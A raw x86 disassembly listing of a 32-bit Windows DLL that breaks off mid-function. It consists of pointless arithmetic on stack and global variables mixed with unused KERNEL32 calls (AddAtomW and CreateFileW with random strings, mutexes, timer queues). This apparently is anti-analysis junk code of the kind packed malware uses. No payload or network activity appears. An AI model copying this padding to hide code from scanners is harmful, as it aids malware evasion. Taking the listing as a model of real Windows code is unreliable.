mov eax, dword [ebp - 0x3ed0]
mov word [eax], dx
movzx ecx, word [0x100b728c]
movzx edx, word [ebp - 0x1150]
xor ecx, edx
mov word [0x100b71ec], cx
movsx eax, byte [ebp - 0x73]
mov ecx, dword [0x100ba230]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x1f8], al
lea eax, [ebp - 0x37ec]
mov dword [0x100ba4ec], eax
movsx edx, word [ebp - 0xbd8]
movsx ecx, word [0x100b9f14]
sar edx, cl
mov eax, dword [ebp - 0x39b8]
mov word [eax], dx
movzx ecx, byte [ebp - 0x274]
movzx edx, byte [0x100b7e2a]
add ecx, edx
mov byte [ebp - 0x48], cl
mov eax, dword [ebp - 0x3d8c]
mov ecx, dword [eax]
mov dword [0x100ba4f0], ecx
mov dx, word [0x100b71d4]
mov word [ebp - 0x13c0], dx
mov eax, dword [ebp - 0x3758]
mov ecx, dword [ebp - 0x3d8c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3c6c]
mov dword [eax], edx
lea ecx, [ebp - 0xb074]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x35c8]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12e4]
shl eax, cl
mov word [0x100b95ec], ax
mov ecx, dword [ebp - 0x3b24]
mov edx, dword [0x100b7274]
xor edx, dword [ecx]
mov dword [ebp - 0x2d14], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9ff0], eax
movzx eax, word [ebp - 0x1394]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba02c], ax
push 0x14d8
push 0x2656
push 0x7a5
push 0x3a72
mov ecx, dword [ebp - 0x3dc8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3ff0], eax
mov dl, byte [0x100b7f3f]
mov byte [ebp - 0x2b1], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba4f4], eax
mov eax, dword [ebp - 0x3f28]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7f8f]
add ecx, edx
mov eax, dword [0x100b959c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3d20]
movsx edx, byte [ecx]
movsx ecx, byte [0x100b71f6]
sar edx, cl
mov eax, dword [ebp - 0x3490]
mov byte [eax], dl
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ecx]
or edx, dword [ebp - 0x3b4c]
mov dword [ebp - 0x3130], edx
mov al, byte [0x100b7e0f]
mov byte [0x100b80e7], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b967c], eax
movsx ecx, word [ebp - 0x62c]
movsx edx, word [ebp - 0xa44]
and ecx, edx
mov word [ebp - 0x125c], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3e5c], eax
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x11f8]
xor ecx, edx
mov word [ebp - 0x108c], cx
push str.6c_d1Ne0_VmoL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba4f8], ax
push str.QTO_7j435CTho
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13c4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e90], eax
push str.J8h_tUpzLD.FdyAh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba4fc], ax
mov eax, dword [ebp - 0x3944]
xor eax, dword [0x100ba190]
mov dword [0x100b7248], eax
mov cl, byte [ebp - 0x107]
mov byte [ebp - 0x2b2], cl
movzx edx, word [0x100b9a54]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13c8], ax
lea eax, [ebp - 0x3b4c]
mov dword [ebp - 0x3ff4], eax
mov ecx, dword [ebp - 0x3904]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3c1c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b71ff], dl
movzx edx, word [ebp - 0x1388]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9f70], ax
movzx eax, word [0x100b94f8]
mov ecx, dword [ebp - 0x367c]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xfa4], ax
movsx edx, word [ebp - 0x5a0]
mov eax, dword [ebp - 0x391c]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x123c], dx
mov dword [0x100ba500], 0x100b7e3b
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3ff8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba504], eax
mov dx, word [0x100b71d4]
mov word [ebp - 0x13cc], dx
mov eax, dword [ebp - 0x3e74]
mov edx, dword [ebp - 0x3f14]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x3804], edx
mov eax, dword [0x100b9c64]
mov ecx, dword [ebp - 0x2ba8]
and ecx, dword [eax]
mov dword [0x100ba028], ecx
movzx edx, byte [ebp - 0x283]
movzx eax, byte [0x100b71ae]
or edx, eax
mov byte [ebp - 0x1d6], dl
mov ecx, dword [ebp - 0x369c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xee8]
xor edx, eax
mov word [ebp - 0x1018], dx
mov ecx, dword [ebp - 0x3d04]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x87]
add edx, eax
mov ecx, dword [0x100b987c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3830]
movzx eax, word [edx]
mov ecx, dword [0x100b9730]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x12c8], ax
push 0
push 2
push 5
push 0
push 8
push 0x80000000
push str.DKoaPBfTrJYM
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba508], eax
mov edx, dword [ebp - 0x3a8c]
mov eax, dword [edx]
mov dword [ebp - 0x3ffc], eax
mov ecx, dword [0x100b96d4]
mov edx, dword [ecx]
mov dword [0x100ba50c], edx
lea eax, [ebp - 0xafe4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3658]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7df6]
and edx, eax
mov byte [ebp - 0xac], dl
movsx edx, byte [ebp - 0x1f2]
mov eax, dword [ebp - 0x3a38]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3be0]
mov byte [ecx], dl
push 0x100b9954
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.Dw9hrL5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13d0], ax
mov edx, dword [ebp - 0x3ac0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3c70]
movsx edx, word [ecx]
xor eax, edx
mov word [0x100b7300], ax
mov eax, dword [ebp - 0x3fe8]
movzx eax, word [eax]
cdq
mov ecx, 0x587
idiv ecx
mov word [ebp - 0xc48], ax
lea edx, [ebp - 0x3c7c]
mov dword [ebp - 0x4000], edx
movsx eax, byte [ebp - 0x1c9]
movsx ecx, byte [ebp - 0x287]
add eax, ecx
mov edx, dword [0x100b9f08]
mov byte [edx], al
movzx eax, byte [ebp - 0x4e]
movzx ecx, byte [0x100b71ce]
or eax, ecx
mov byte [ebp - 0xe], al
mov edx, dword [0x100b9ea8]
mov eax, dword [edx]
mov dword [ebp - 0x4004], eax
mov ecx, dword [ebp - 0x3bdc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x748]
and edx, eax
mov ecx, dword [0x100b9ec4]
mov word [ecx], dx
movsx edx, word [0x100b7240]
mov eax, dword [0x100b9990]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xbec], dx
mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
mov dword [ebp - 0x4008], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba144], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x36a0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba510], eax
push 0
push 0x20
push 1
push 0
push 8
push 0x40000000
push str.hJKrxIe3KXZZ909WGpf_tDIiHsIf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x400c], eax
lea ecx, [ebp - 0x1ee]
mov dword [0x100ba514], ecx
movzx edx, byte [0x100b719b]
mov eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x1dc], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4010], eax
lea ecx, [ebp - 0xf9c]
mov dword [ebp - 0x4014], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba1a4], eax
movzx edx, word [ebp - 0x13b4]
movzx ecx, word [ebp - 0x130c]
sar edx, cl
mov eax, dword [0x100b9db8]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba518], eax
mov ecx, dword [0x100b9a7c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3098]
mov eax, dword [ebp - 0x389c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x1018]
movsx edx, word [ebp - 0xfc4]
and ecx, edx
mov word [ebp - 0x5e0], cx
movzx eax, word [ebp - 0x1388]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13d4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba51c], eax
lea ecx, [ebp - 0x3958]
mov dword [0x100ba520], ecx
movsx edx, byte [ebp - 0xbb]
imul eax, edx, 0x61
mov ecx, dword [ebp - 0x3c88]
mov byte [ecx], al
movzx edx, byte [0x100b71cf]
mov eax, dword [0x100b9b70]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7216], dl
push 0x100ba1ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
mov ecx, dword [0x100ba018]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x1020], ax
mov eax, dword [ebp - 0x2af8]
cdq
mov ecx, 0x4d15
idiv ecx
mov edx, dword [ebp - 0x366c]
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3a68], eax
push str.Ye6WR09T.HQoM_1
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba524], ax
mov eax, dword [ebp - 0x3d60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e08]
shl edx, cl
mov eax, dword [0x100b96d4]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3894], eax
movsx edx, word [ebp - 0x1278]
movsx ecx, word [ebp - 0x1318]
sar edx, cl
mov eax, dword [ebp - 0x3ae4]
mov word [eax], dx
mov ecx, dword [0x100b9724]
mov dl, byte [ecx]
mov byte [ebp - 0x2b3], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4018], eax
mov eax, dword [ebp - 0x3c30]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7e2b]
add ecx, edx
mov eax, dword [0x100ba2c4]
mov byte [eax], cl
mov cl, byte [0x100b7e1e]
mov byte [ebp - 0x2b4], cl
push 0x1f82
mov edx, dword [0x100ba360]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba528], eax
mov eax, dword [ebp - 0x3858]
and eax, dword [ebp - 0x328c]
mov dword [ebp - 0x2f30], eax
mov dword [0x100ba52c], 0x100ba214
movsx ecx, word [ebp - 0x1140]
mov edx, dword [ebp - 0x36ac]
movsx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x38bc]
mov word [edx], cx
lea eax, [ebp - 0x3804]
mov dword [ebp - 0x401c], eax
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3ee0]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7187], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
movzx edx, word [0x100b9ba4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13d8], ax
movsx eax, byte [ebp - 0x29c]
movsx ecx, byte [ebp - 0x2a7]
xor eax, ecx
mov byte [ebp - 0x138], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3cdc], eax
mov edx, dword [ebp - 0x38b0]
mov eax, dword [0x100ba234]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3478]
mov dword [edx], ecx
lea eax, [ebp - 0x1350]
mov dword [0x100ba530], eax
movzx ecx, word [0x100b9be8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13dc], ax
mov edx, dword [ebp - 0x365c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb8c]
sub eax, ecx
mov word [ebp - 0x7d8], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba534], eax
mov dx, word [ebp - 0x59c]
mov word [ebp - 0x13e0], dx
push str.HnP0xHYOwU_KBV
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba27c], ax
mov eax, dword [0x100b96fc]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7f47]
or ecx, edx
mov byte [0x100b7216], cl
mov eax, dword [ebp - 0x3d34]
mov edx, dword [ebp - 0x3968]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x350c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x39fc]
mov edx, dword [ebp - 0x3dfc]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2ebc], eax
mov cl, byte [0x100b71fe]
mov byte [0x100b80ee], cl
mov edx, dword [0x100ba33c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3834]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3b04]
mov word [ecx], ax
mov dword [ebp - 0x4020], 0x100ba180
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3738], eax
lea edx, [ebp - 0x3b]
mov dword [0x100ba538], edx
mov eax, dword [ebp - 0x3c94]
mov cl, byte [eax]
mov byte [ebp - 0x2b5], cl
mov edx, dword [ebp - 0x377c]
mov eax, dword [0x100b9b10]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3418]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e2c]
and eax, dword [ebp - 0x35e0]
mov dword [0x100b97f8], eax
mov ecx, dword [ebp - 0x37b8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3dcc]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x39b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3e30]
movzx eax, word [edx]
mov ecx, dword [0x100ba164]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xc20], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4024], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba53c], eax
movzx edx, word [0x100ba390]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13d8], ax
movsx eax, word [ebp - 0xee8]
mov ecx, dword [ebp - 0x3998]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [0x100b9c34]
mov word [ecx], ax
lea edx, [ebp - 0x1d6]
mov dword [ebp - 0x4028], edx
push str.M1ZLSuMrbYjI_7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13e4], ax
mov eax, dword [ebp - 0x3760]
mov ecx, dword [eax]
xor ecx, dword [0x100b9f10]
mov edx, dword [ebp - 0x3fd8]
mov dword [edx], ecx
mov dword [0x100ba540], 0x100b71d4
lea eax, [ebp - 0x3730]
mov dword [ebp - 0x402c], eax
movsx ecx, byte [ebp - 0x27e]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x120], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba544], eax
push 0x100b9e2c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx ecx, word [ebp - 0x12e8]
movsx edx, word [ebp - 0xedc]
and ecx, edx
mov word [0x100b7304], cx
mov eax, dword [ebp - 0x3a84]
movzx edx, byte [eax]
mov eax, dword [0x100b9bec]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x259], dl
mov ecx, dword [ebp - 0x38b0]
mov edx, dword [0x100b9dc0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3a74]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x21e]
mov eax, dword [ebp - 0x3c9c]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b7e23], dl
push str.YSRj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13e8], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34f4], eax
push str.As6zh.Peen_CT_eXd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba548], ax
mov edx, dword [0x100b99d4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf60]
shl eax, cl
mov word [ebp - 0x1184], ax
push 0x18d2
mov ecx, dword [ebp - 0x3da8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba54c], eax
mov edx, dword [ebp - 0x3d74]
mov ax, word [edx]
mov word [ebp - 0x13ec], ax
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ebp - 0x3bc4]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [0x100b9fb4]
mov dword [ecx], eax
push 0
push 2
push 4
push 0
push 2
push 0x80000000
push str.DRM89oz13etJR5UpyvMPS
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4030], eax
movzx edx, word [0x100b9b08]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9fa4], ax
lea eax, [ebp - 0x600]
mov dword [ebp - 0x4034], eax
movzx ecx, byte [0x100b7f47]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3e10]
mov byte [edx], cl
lea eax, [ebp - 0x2ba8]
mov dword [0x100ba550], eax
mov ecx, dword [ebp - 0x3a38]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x264]
and edx, eax
mov ecx, dword [ebp - 0x36d0]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1228]
movzx eax, word [0x100b7228]
xor edx, eax
mov word [ebp - 0xe6c], dx
mov ecx, dword [ebp - 0x3808]
movzx edx, word [ecx]
movzx ecx, word [0x100b979c]
sar edx, cl
mov eax, dword [0x100ba018]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4038], eax
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x403c], ecx
movzx edx, word [ebp - 0x114c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba554], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9978], eax
mov eax, dword [ebp - 0x3e40]
mov ecx, dword [eax]
mov dword [0x100ba558], ecx
lea edx, [ebp - 0x9c58]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x395c]
movsx edx, word [eax]
movsx ecx, word [0x100ba3e8]
shl edx, cl
mov eax, dword [ebp - 0x4020]
mov word [eax], dx
movzx ecx, byte [ebp - 0x26d]
mov edx, dword [ebp - 0x3d9c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x2a3], cl
mov dword [0x100ba55c], 0x100ba14c
mov cx, word [ebp - 0x84c]
mov word [ebp - 0x13f0], cx
lea edx, [ebp - 0x3858]
mov dword [ebp - 0x4040], edx
movsx eax, word [0x100b9974]
mov ecx, dword [ebp - 0x3b40]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [0x100b971c]
mov word [ecx], ax
push str.FBNT2_4PX9LESxaM
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba560], ax
mov edx, dword [ebp - 0x3ef0]
mov eax, dword [ebp - 0x3e14]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x31e0], ecx
mov dword [ebp - 0x4044], 0x100b71ea
movsx edx, byte [ebp - 0x2a2]
movsx ecx, byte [0x100b71da]
sar edx, cl
mov byte [0x100b7f2b], dl
push 0
push 0x10
push 4
push 0
push 2
push 0x40000000
push str.yFlL6LJiAzEtCHCM4Az1iY4xr9mNvdNB98
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4048], eax
movsx eax, byte [ebp - 0x15]
mov ecx, dword [0x100b9724]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x2b4], al
lea eax, [ebp - 0x2c04]
mov dword [ebp - 0x404c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9764], eax
mov dword [0x100ba564], 0x100b7dff
movsx ecx, word [ebp - 0x11e4]
movsx edx, word [ebp - 0x125c]
add ecx, edx
mov eax, dword [ebp - 0x3998]
mov word [eax], cx
movzx ecx, word [ebp - 0x113c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13f4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba568], eax
mov edx, dword [ebp - 0x3d68]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x648]
and eax, ecx
mov word [ebp - 0x1004], ax
mov edx, dword [ebp - 0x3804]
mov dword [0x100ba56c], edx
movsx eax, byte [ebp - 0x2b0]
movsx ecx, byte [ebp - 0x178]
sub eax, ecx
mov byte [ebp - 0x2ab], al
lea edx, [ebp - 0x3160]
mov dword [ebp - 0x4050], edx
movzx eax, byte [ebp - 0x257]
mov ecx, dword [0x100b9598]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b713f], al
mov edx, dword [ebp - 0x3b04]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3870]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3644]
mov word [ecx], ax
movsx edx, word [0x100b72a0]
movsx eax, word [ebp - 0x89c]
or edx, eax
mov ecx, dword [ebp - 0x3cd0]
mov word [ecx], dx
movsx edx, byte [0x100b714b]
movsx ecx, byte [0x100b716b]
sar edx, cl
mov byte [0x100b7217], dl
lea eax, [ebp - 0x1210]
mov dword [ebp - 0x4054], eax
mov ecx, dword [0x100ba28c]
add ecx, dword [ebp - 0x2e1c]
mov dword [ebp - 0x3028], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x35a4], eax
mov edx, dword [0x100b9c74]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4058], eax
mov eax, dword [ebp - 0x2de8]
and eax, dword [ebp - 0x30e8]
mov dword [0x100b9dd4], eax
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x405c], ecx
lea edx, [ebp - 0x138c]
mov dword [ebp - 0x4060], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba570], eax
movsx eax, byte [ebp - 0x43]
mov ecx, dword [ebp - 0x35f4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7fd6], al
movzx eax, word [ebp - 0x1254]
cdq
mov ecx, 0xa09
idiv ecx
mov word [ebp - 0xf80], ax
mov edx, dword [0x100b994c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x3418]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2d14]
mov dword [0x100b7308], edx
lea eax, [ebp - 0x99]
mov dword [ebp - 0x4064], eax
mov cl, byte [ebp - 0x293]
mov byte [ebp - 0x2b6], cl
mov edx, dword [0x100b9508]
mov ax, word [edx]
mov word [0x100ba574], ax
movzx edx, word [ebp - 0xab4]
movzx ecx, word [ebp - 0xda8]
sar edx, cl
mov eax, dword [ebp - 0x3540]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba578], eax
mov ecx, dword [ebp - 0x36ec]
mov edx, dword [ebp - 0x39fc]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4040]
mov dword [ecx], eax
mov edx, dword [0x100ba358]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b3]
and eax, ecx
mov byte [0x100b7f2b], al
movzx edx, byte [ebp - 0xe7]
mov eax, dword [ebp - 0x3524]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x199], dl
lea edx, [ebp - 0x9d78]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x1e6
push 0
lea eax, [ebp - 0x3ad4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9c6c], eax
mov ecx, dword [ebp - 0x3a4c]
mov edx, dword [ebp - 0x2ba4]
sub edx, dword [ecx]
mov dword [ebp - 0x3324], edx
movzx eax, word [ebp - 0x127c]
mov ecx, dword [ebp - 0x3c60]
movzx ecx, word [ecx]
shl eax, cl
mov word [0x100ba330], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9a20], eax
mov dword [ebp - 0x4068], 0x100b72a8
lea edx, [ebp - 0x9d90]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x366c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c04]
mov dword [ebp - 0x2e8c], ecx
lea edx, [ebp - 0xef]
mov dword [0x100ba57c], edx
mov eax, dword [ebp - 0x3d84]
mov cl, byte [eax]
mov byte [ebp - 0x2b7], cl
mov dx, word [0x100b9e60]
mov word [ebp - 0x13f8], dx
mov eax, dword [ebp - 0x3670]
movzx edx, word [eax]
movzx ecx, word [0x100b71d8]
sar edx, cl
mov eax, dword [0x100ba210]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba580], eax
mov ecx, dword [ebp - 0x3e04]
and ecx, dword [ebp - 0x3c38]
mov edx, dword [ebp - 0x401c]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3a48], eax
movzx eax, word [ebp - 0x11ac]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b973c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba584], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x406c], eax
movsx ecx, word [ebp - 0x1144]
movsx edx, word [0x100b9fe8]
or ecx, edx
mov eax, dword [ebp - 0x3e58]
mov word [eax], cx
mov ecx, dword [ebp - 0x3b98]
mov edx, dword [ebp - 0x3f00]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x100b730c], eax
push 1
lea ecx, [ebp - 0x9844]
push ecx
mov edx, dword [0x100ba154]
push edx
mov eax, dword [0x100ba150]
push eax
mov ecx, dword [ebp - 0x3e28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba588], eax
mov edx, dword [ebp - 0x3a58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x272]
xor eax, ecx
mov byte [ebp - 0x1f6], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4070], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9f2c], eax
movzx edx, byte [ebp - 0x27c]
movzx eax, byte [ebp - 0x21a]
add edx, eax
mov byte [0x100b7df7], dl
movzx edx, word [ebp - 0x1364]
movzx ecx, word [ebp - 0x1314]
shl edx, cl
mov word [ebp - 0x13f8], dx
lea eax, [ebp - 0x3e24]
mov dword [ebp - 0x4074], eax
push 0
push 4
push 5
push 0
push 8
push 0x80000000
push str.mWQiGzUkk4OUAwo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba58c], eax
lea ecx, [ebp - 0x2ba4]
mov dword [0x100ba590], ecx
movzx edx, word [ebp - 0x11c4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13fc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba594], eax
lea eax, [ebp - 0xe98]
mov dword [ebp - 0x4078], eax
push 0
push 8
push 0
push 0
push 1
push 0xc0000000
push str.yK6nDL9dmm8NjeN2Fm1F
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x407c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba270], eax
movsx ecx, byte [ebp - 0x266]
mov edx, dword [0x100ba370]
